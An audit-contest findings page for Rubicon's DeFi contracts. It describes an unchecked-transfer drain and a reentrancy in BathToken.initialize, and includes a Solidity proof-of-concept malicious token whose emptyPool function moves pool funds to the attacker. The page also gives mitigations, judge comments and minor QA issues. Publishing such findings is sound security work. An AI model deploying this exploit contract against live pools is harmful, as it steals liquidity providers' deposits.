Platform: Code4rena
Start Date: 23/05/2022
Pot Size: $50,000 USDC
Total HM: 44
Participants: 99
Period: 5 days
Judge: hickuphh3
Total Solo HM: 11
Id: 129
League: ETH
Rank: 23/99
Findings: 4
Award: $507.23
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: berndartmueller
Also found by: 0x1f8b, 0xDjango, 0xsomeone, ACai, Bahurum, BouSalman, CertoraInc, Deivitto, Dravee, GimelSec, IllIllI, JMukesh, Kaiziron, PP1004, Ruhum, SmartSek, VAD37, WatchPug, _Adam, aez121, antonttc, blockdev, broccolirob, camden, cccz, cryptphi, defsec, dipp, ellahi, fatherOfBlocks, gzeon, horsefacts, ilan, jayjonah8, joestakey, kenta, kenzo, minhquanym, oyc_109, pauliax, pedroais, peritoflores, sashik_eth, shenwilly, simon135, throttle, xiaoming90, z3s
0.1022 USDC - $0.10
https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathPair.sol#L516 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L352
While rebalancing, strategists can steal all tokens that do not revert on transfer failure and are filling pools of other tokens
Let's say that the assetToken in a pair doesn't revert on transfer failure.
A strategist can call BathPair.rebalancePair()
with argument assetRebalAmnt
which is actually bigger than the amount of tokens that are filling the quoteToken pool and should be rebalanced, and specifically equal to assetToken.balanceOf(_bathQuoteAddress) * 1000 / IBathHouse(_bathHouse).getBPSToStrats()
. This will call BathToken.rebalance() (BathPair.sol#L516), where at line 352 stratReward
will be assigned a value equal to assetToken.balanceOf(_bathQuoteAddress)
. Then the first transfer to the amountToken pool will fail silently given the huge value of rebalAmt
, while the second transfer will send the entire amount of amountToken in the quote Pool to the strategist.
Manual analysis
Use openzeppelin SafeERC20 library or add checks to ERC20.transfer() return value.
#0 - bghughes
2022-06-03T21:51:48Z
Duplicate of #316
401.6035 USDC - $401.60
https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathHouse.sol#L153 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L214
Malicious pools can be deployed through BathHouse
Reentrancy in BathToken.initialize()
can be exploited and this allows to create a pool which has a legitimate underlying token (even one for which a pool already exists), and has given full approval of underlying Token to an attacker. While this underlying token will differ from the one returned by BathHouse.getBathTokenfromAsset
for that Pool (since the returned token would be the malicious one which reentered initialize
), the LPs could still deposit actual legitimate tokens to the pool since it is deployed from the BathHouse and has the same name as a legit pool, and loose their deposit to the attacker.
Create a new pool calling BathHouse.openBathTokenSpawnAndSignal()
and passing as newBathTokenUnderlying
the address with the following malicious token:
// SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.7.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../../contracts/rubiconPools/BathToken.sol"; contract fakeToken is ERC20("trueToken", "TRUE"), Ownable { ERC20 trueToken; address marketAddress; uint256 counterApprove; BathToken bathToken; function setTrueToken(address _trueTokenAddress) onlyOwner { trueToken = ERC20(_trueTokenAddress); } function setMarketAddress(address _marketAddress) onlyOwner { marketAddress = _marketAddress; } function approve(address spender, uint256 amount) public virtual override returns (bool) { if (counterApprove == 1) { //first approve is from bathHouse bathToken = BathToken(msg.sender); bathToken.initialize(trueToken, owner, owner); attacked = false; } counterApprove++; _approve(_msgSender(), spender, amount); return true; } function setAndApproveMarket(address _market){ // sets legitimate market after malicious bathToken initialization bathToken.setMarket(_market); bathToken.approveMarket(); } function emptyPool() onlyOwner { // sends pool tokens to attacker uint256 poolBalance = trueToken.balanceOf(address(bathToken)); trueToken.transferFrom(address(bathToken), owner, poolBalance); } }
This reenters BathToken.initialize()
and reassigns the bathHouse role to the fake token, which names itself as the legit token. Also the reentrant call reassigns the legit Token to underlyingToken
so thet the pool actually contains the legit token, but gives infinite approval for the legit token from the pool to the attacker, who is passed as market
in the reentrant call.
Since the fakeToken has the bathHouse role, it can set the market to the actual RubiconMarket after the reentrant call.
Code: BathHouse.openBathTokenSpawnAndSignal, BathToken.initialize
Manual analysis
Add onlyBathHouse
modifier to initialize
function in BathToken
to avoid reentrancy from malicious tokens.
#0 - bghughes
2022-06-03T20:31:29Z
I believe this is a bad issue for a few reasons:
newBathTokenImplementation
and initialize
is immediately called with the Bath House admin's RubiconMarketAddress
.#1 - HickupHH3
2022-06-21T07:09:31Z
The POC could be made stronger with a script so that the poor judge (me) doesn't have to eyeball and manually review the attack vector. Having a working Hardhat script with the stated attack vector will 1000% strengthen the POC because it can be tested and verified.
The issue is valid, because like #179, the key step is the re-entrancy via the approval in L214 before initialized
is set to true.
I think a simpler solution here is to shift the initialized
variable to before the external call so that it follows the CEI pattern.
#2 - bghughes
2022-07-06T19:42:15Z
Better solution and good issue warden. Thank you both
🌟 Selected for report: IllIllI
Also found by: 0x1337, 0x1f8b, 0x4non, 0xDjango, 0xKitsune, 0xNazgul, 0xf15ers, ACai, AlleyCat, Bahurum, BouSalman, CertoraInc, Chom, Dravee, ElKu, FSchmoede, Funen, GimelSec, Hawkeye, JC, JMukesh, Kaiziron, MaratCerby, Metatron, PP1004, Picodes, Ruhum, SmartSek, StErMi, TerrierLover, UVvirus, UnusualTurtle, WatchPug, Waze, _Adam, asutorufos, berndartmueller, blackscale, blockdev, broccolirob, c3phas, catchup, cryptphi, csanuragjain, defsec, delfin454000, dipp, eccentricexit, ellahi, fatherOfBlocks, gzeon, hansfriese, horsefacts, hubble, ilan, joestakey, kebabsec, minhquanym, oyc_109, parashar, pauliax, rotcivegaf, sach1r0, sashik_eth, shenwilly, simon135, sorrynotsorry, sseefried, throttle, unforgiven, xiaoming90
89.3284 USDC - $89.33
Public and external functions in all contracts in scope are missing or have incomplete NatSpec documentation (in particular @param and @return tags are very often missing). This makes the code harder to understand for developers and auditors. For more info on the Solidity NatSpec format see here.
rewardsVestingWallet
is never initializedIn BathToken
variable rewardsVestingWallet
is never initialized. As a consequence the if block in function distributeBonusTokenRewards
is never entered and Bath Token rewads are not distributed.
BathToken.sol#L642-L650.
_feeTo
In initialize
function of BathToken
parameter _feeTo is never used. Consider removing it. BathToken.sol#L184
Change of critical system parameters should come with en event emission to allow for monitoring of potentially dangerous or malicious changes. BathToken.sol#L244-L272
In BathHouse
Openzeppelin ERC20 contract is imported twice. BathHouse.sol#L12-L13
Calling the function openBathTokenSpawnAndSignal
of BathHouse
an LP can create a pool with zero liquidity. BathHouse.sol#L136
RubiconRouter
has receive()
and fallback() payable
functions but no function to recover ETH accidentally sent by users to the contract. RubiconRouter.sol#L37-L39
In RubiconRouter
when calling functions buyAllAmountWithETH
, offerWithETH
, depositWithETH
and swapWithETH
if the value of ETH sent along the call is higher than the specific amount set in the parameters, then the excess is not sent back to the caller and gets stuck in the contract. Consider one of the two proposed mitigations
require(msg.value == max_fill_withFee)
buyAllAmountWithETH
this would be msg.sender.transfer(msg.value - max_fill_withFee)
payable
but is not expected to use ETH sentIn RubiconRouter
functions withdrawForETH
and swapForETH
are marked as payable
but they do not use incoming ETH (they send ETH to the caller instead). Consider removing the payable
modifier form these functions since it creates confusion on whether they are supposed to receive or send ETH.
#0 - KenzoAgada
2022-06-05T10:50:28Z
Issue 8 is duplicate of #15.
#1 - HickupHH3
2022-06-25T03:20:58Z
Issue 2 could have been upgraded to dup of #107, but fails to mention that rewards can be permanently locked. Hence, keeping it as QA